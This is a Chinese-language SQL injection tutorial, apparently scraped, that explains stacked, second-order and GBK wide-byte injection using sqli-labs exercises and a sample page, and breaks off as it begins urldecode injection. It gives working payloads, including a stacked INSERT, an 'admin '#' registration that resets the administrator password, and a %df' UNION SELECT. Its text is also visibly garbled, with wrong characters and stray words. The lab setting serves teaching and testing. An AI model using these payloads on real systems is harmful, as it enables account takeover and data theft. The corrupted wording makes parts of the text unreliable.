一、堆叠注入。php
数据库查询语句语法是以分号;结尾。当数据库中出现容许多条查询语句同时成立时候,就能使用堆叠注入。mysql
正常状况:sql
select * from users where id='1';数据库
堆叠注入状况:浏览器
select * from users where id='1';insert into ....#';less
演示案例:sqli-lab less38函数
-1'; insert into users (id,username,password) value (38,'admin38','pass38')%23网站
缘由是咱们的输入被放置在 mysqli_multi_query()中了,被容许执行多条数据库查询语句编码
二、二次注入url
若是在初始输入点遇到有sql注入防御的时候,好比addslashes(),咱们输入的单引号会被转义,变成反斜杠'。其问题就在于当初始输入被转义后存入数据库中的时候,数据库保存的时候会把\去掉,那一旦咱们再次调用该数据的时候,就会造成二次注入。
演示案例:sqli-lab less24
经过对网站的观察,发现有个登录口,有个注册口,登陆后能够修改密码。恰好符合二次注入的场景
咱们的攻击目标是 管理员帐号admin
首先注册 admin '# ,密码随意,注册成功后,在数据库中显示的就是:
admin '#
而后使用上述帐户登陆,修改密码,此时数据库的查询就变成:
update users set password='123456' where username = 'admin'' #;
经过上述语句能够看出,实际上'闭合前面的单引号,#注释了后面的单引号,最终修改的username就变成了admin了,也达到了咱们在不知道管理员密码的状况下重置了他的密码。
三、宽字节注入
所谓宽字节,主要出如今中文页面上,由于汉字字符的关系,中文编码会占用2个字节位,编码使用的是GBK编码,会把两个字符组合一个汉字。
宽字节注入的产生也是由于对引号的过滤,在url编码中,\的编码是%5c,而'的编码是%27,当被addslashes等过滤手段过滤后,原本输入的: 1' =》1'=>1%5c%27,这原本是一种很好的防护手段。但是在宽字节编码中,%5c刚好能够和其余字符组成一个宽字节汉字。当咱们输入1%df'的时候:=>1%df%5c%27 =>1(宽字节)%27,这样就使咱们的单引号脱离了反斜杠的束缚,造成特殊字符注入。
以kuan.php为例:
想使用常规的sql注入语句的时候,输入id=1' ,其在数据库中就变成:
select * from wuser where id ='1\''
当使用宽字节注入,输入id=1%df',其在数据库中就变成:
select * from wuser where id ='1運''
接着就能够继续使用常规的sql注入来攻击,输入id= -1%df' union select 1,2,3%23:
select * from wuser where id ='-1運' union select 1,database(),3#'
在sqli-lab less33中,也有相似的应用
四、urldecode编码注入
这种注入的场景主要出如今有urldecode()解码函数的地方。正常的话,浏览器在接收到http请求的时候,特殊字符都是经过url编码的,浏览器会自动解一次码。